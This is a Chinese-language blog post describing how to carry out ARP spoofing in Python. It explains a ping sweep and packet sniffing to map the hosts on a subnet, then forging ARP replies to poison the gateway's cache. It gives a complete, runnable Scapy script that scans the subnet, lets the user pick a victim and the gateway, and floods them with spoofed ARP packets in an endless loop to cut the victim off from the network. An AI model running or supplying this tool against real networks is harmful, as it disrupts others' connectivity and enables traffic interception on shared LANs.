python实现ARP欺骗

Zss 发表于:

很早之前就清楚ARP欺骗的流程了,但是一直是自己手动来构造数据包,通过发包软件来发送数据包,来制造arp攻击,想着python可以利用scapy来操作数据包

所以可以在一个二层网络里来实现一个arp攻击的软件

大概基本的流程:

1.首先在host中使用一个线程来抓包,另外很多个线程分别来ping一次当前网段的所有地址,这样能够正常ping通的机器,返回的数据包中包含自身的ip和mac

再对这些数据包进行筛选和过滤,得到这个网段中的所有host的ip对应的mac(不过有些路由器中设置的了内部隔离,也就是主机间相互ping不通,那么可以自己来构造arp的广播包来发送一样也可以获取到这个网段的ip_mac)

2.当我拥有了这些ip和mac后,选择需要进行欺骗的ip,和当前的网关地址

3.构造数据包,不间断的告诉gw被攻击的host它的mac地址是多少,这个mac可以是一个错误的,这样被攻击的mac在网段中其他的host都被修改了,所以无法与其他的地方通信了

可以选择告诉被攻击的pc,一个错误的网关mac,或者也可以告诉网关,被攻击的pc的一个错误的mac

 

当开始发送数据包时,可以发现被攻击的pc中的arp表gw的mac为一个错误的mac,这样子数据发送都发送到其他地方去了,所以无法上网通信了

#coding:utf-8
from scapy.all import *
from threading import Thread
from subprocess import PIPE,Popen
import os

class Arp_att():
    def __init__(self):
        self.att_network_segment = raw_input('输入网段来扫描其中的HOST:\n')
        self.ip_mac_list = []
        self.gw_ip_mac = []

    def task_ping(self,ip):
        Popen('ping -n 1 %s'%ip,shell=True,stdout=PIPE)

    def get_host(self):
        T_list = []
        ip_split = self.att_network_segment.split('.')[0]+'.'+self.att_network_segment.split('.')[1]+'.'+self.att_network_segment.split('.')[2]+'.'
        for i in range(1,255):
            ip = ip_split + str(i)
            ping_T = Thread(target=self.task_ping,args=(ip,))
            ping_T.start()
            T_list.append(ping_T)
        for i in T_list:
            i.join()

    def sniff_task(self):
        pack = sniff(iface='Intel(R) Ethernet Connection I219-V',timeout=10)
        if os.path.isfile('ip_mac.txt'):
            os.remove('ip_mac.txt')
        for i in pack:
            if i.payload.payload.name == 'ICMP':
                if i['ICMP'].type == 0:
                    self.ip_mac_list.append((str(i['IP'].src),str(i['Ether'].src)))

    def get_pack(self):
        get_pack_T = Thread(target=self.sniff_task)
        get_pack_T.start()

    def send_choice(self):
        time.sleep(11)
        index = 1
        print '-' * 30
        print '扫描出以下Host:'
        for i in self.ip_mac_list:
            print '(%d).IP:%s   MAC:%s'%(index,i[0],i[1])
            index += 1
        print '-'*30
        choice = raw_input('输入你需要欺骗的Host地址选择:\n')
        gw_choice = raw_input('输入网段中的Gw地址选择:\n')
        return (self.ip_mac_list[int(choice)-1],self.ip_mac_list[int(gw_choice)-1])

    def make_arp(self):
        choice = self.send_choice()
        eth = Ether(dst=choice[1][1],src=choice[0][1])
        arp = ARP(op=2,hwsrc='50:7b:9d:17:16:12',psrc=choice[0][0],hwdst=choice[1][1],pdst=choice[1][0])
        pack = eth/arp
        print '正在进行ARP欺骗!'
        while 1:
            sendp(pack,iface='Intel(R) Ethernet Connection I219-V',count=100,inter=1)

if __name__ == '__main__':
    print '-'*30
    print '        ARP欺骗工具'
    print '-'*30
    arp = Arp_att()
    arp.get_pack()
    arp.get_host()
    arp.make_arp()